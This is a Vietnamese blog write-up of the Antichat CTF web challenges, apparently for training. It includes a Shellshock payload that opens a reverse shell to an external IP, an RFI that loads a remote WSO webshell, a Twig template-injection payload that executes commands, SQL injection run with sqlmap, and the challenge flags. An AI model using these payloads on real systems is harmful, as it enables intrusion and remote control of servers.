CTF Antichat Phần I - MTD SEC

MTD SEC

Chia Sẻ Để Thành Công

Home Top Ad

Post Top Ad

Thứ Ba, 3 tháng 9, 2019

CTF Antichat Phần I


Hôm nay ngồi buồn thử vào mấy trang ctf chơi thử xem sao qua một vòng google thì mình thấy thằng antichat của nga có cái ctf nên mình chơi thử xem sao: mình chơi mục web đầu tiên vì đó là thế mạnh của mình.





Link để các bạn chơi: https://ctf.antichat.com/challenges





Phá Đảo: Heartbleed





Đây là lỗ hổng liên quan tới ssl các bạn có thể đọc trên mạng đâu đó, mình đơn giản là set cho nó lên metasploit và nhận được kết quả sau vài lần chạy





mở msfconsole lên và gõ lệnh





use auxiliary/scanner/ssl/openssl_heartbleed




sau đó set các thông số trong options của nó thành như hình bên dưới









Chú ý đoạn thông tin login trong kết quả trả về chúng ta tìm ra được pass để đăng nhập:









Sau đó các bạn đăng nhập thành công sẽ hiển thị flag cho các bạn:









Flag: y0U_8r3ak_My_H34r7





Tiếp Theo Là RFI





Tấn công vào http://rfi.ctf.antichat.com/





Vào trang thấy có chữ flag nhấn vào thì link dạng http://rfi.ctf.antichat.com/?page=flag





Giờ chúng ta thử đập nó chuyển thành





http://rfi.ctf.antichat.com/?page=flag.php





chúng ta nhận được 1 cảnh báo "Warning: include(flag.php.php)"





do đoạn code sau





	<?php
if (isset($_GET['page'])) {
include $_GET['page'].".php";
} else { ?>
<h1>Main page</h1>
<?php } ?>




nó tự thêm cho mình một đuôi php đằng sau giờ xử nó bằng cách chạy webshell





code: https://raw.githubusercontent.com/mIcHyAmRaNe/wso-webshell/master/wso.php





chúng ta bỏ đuôi .php đi thành link sau:





http://rfi.ctf.antichat.com/?page=https://raw.githubusercontent.com/mIcHyAmRaNe/wso-webshell/master/wso





và đây là những gì sau đó:









Vấn đề chúng ta cần đọc file flag.php thì mình dùng code sau"





<?php
echo file_get_contents("flag.php");
?>




kết qủa tìm được flag trong source









flag: 1_am_k1n6_0f_RF1









Chiến shellshock





shellshock là một kiểu kết nối backconnect sau khi ngâm cứu mình viết ra đoạn code sau





Payload:





wget -U "() { test;};echo \"Content-type: text/plain\"; echo; /bin/bash -i >& /dev/tcp/150.95.200.240/5555 0>&1" http://shellshock.ctf.antichat.com/cgi-bin/status.cgi




trên client:





nc -lvnp 5555








kết quả


















Chiến RSA





Công cụ cho phép mình crack bài này ở đây các bạn có thể dùng nó





https://github.com/Ganapati/RsaCtfTool





Sau khi chạy decode mình nhận được flag













Chơi PyCry





Sau khi ngâm cứu file tải về lấy đoạn code sau và tiến hành giải mã





import string,random

def func3d(encryped, key):
msg = []
for i, c in enumerate(encryped):
key_c = ord(key[i % len(key)])
enc_c = ord(c)
msg.append(chr((enc_c - key_c) % 127))
return ''.join(msg)


def func2d(d):
try:
e = d[::-1]
k = int(e[:4], 16) ^ 0xA9F ^ 0xE77E
t = e[4:]
f = ""
n = 0
for i in range(0, len(t), 6):
n += 1
c = (n * n) ^ 0x3E
f += chr(int(str(int(t[i:i+6], 16)), 8) ^ (k ^ 0xAFE43 ^ 0x399AA3 ^ c))
return f
except:
return -1

def func4d(str):
dec = funcwtf(-1337)
return dec(str)

def funcwtf(n):
if n > 0:
n = n % 20
else :
n = -((-n) % 20)
lc = string.ascii_lowercase
uc = string.ascii_uppercase
trans = string.maketrans(lc + uc,
lc[n:] + lc[:n] + uc[n:] + uc[:n])
return lambda s: string.translate(s, trans)


def func1d(str1, str2):
tmp = ""
str1 = str1[::-1]
for i in range(len(str1)):
if i%2 == 0 :
tmp += chr((ord(str1[i]) - 4)^ord(str2[i]))
else:
tmp += chr((ord(str1[i]) + 2)^ord(str2[i]))
return tmp



print func1d(func3d(func4d(func2d('0A3BFDA6EBFD5CEBFD1ADBFDBEDBFD1DFBFDF10CFD51FBFD51FBFDBEEBFDB3ABFD3DABFD2DABFD589BFDD79BFD9E9BFD10ABFDDFBBFDAFBBFDD4CBFD77CBFD42BBFD91BBFDC2BBFDB4BBFDE7BBFDB6BBFDF0BBFD2ABBFD22BBFD39BBFDE2BBFDB1CE')),'looooool'),'a6105c0a611b41b08f1209506350279e')








Kết quả: flag{annoying_challenge_amirite}





RDP crack:





https://github.com/ANSSI-FR/bmc-tools





Template Injection





Cái này khá khó và chuối mình đọc qua rất nhiều tài liệu để xem nó là gì các bạn có thể đọc ở đây:





https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/





https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html





thì mình đã mò được payload chạy nó









GET /?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat+/flag")}} HTTP/1.1
Host: templateinj.ctf.antichat.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __cfduid=d1b7e8c42b7ebe964c0d9e0b5caf1898f1566651875; _ym_uid=1566652986629037702; _ym_d=1566652986
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0




Chơi blindsql





đích của ta là: http://blindsql.ctf.antichat.com/





Vì đây là blind sql lên chúng ta sẽ tập trung vào dữ liệu post









Đối với các lỗi sql thì nhanh nhất bạn nên dùng sqlmap.









Flag: bl1nd_bu7_dan63r0u5





errorsqli:





thử đăng nhập với user 1'" thì thấy hiển thị lỗi như vậy lỗi nằm ở ô login









Tiếp tục đưa vào sqlmap thì chúng ta được:









Flag: d0nt_sh0w_y0ur_3rr0r5





Tạm thời hết phần một :)


Không có nhận xét nào:

Đăng nhận xét

Post Top Ad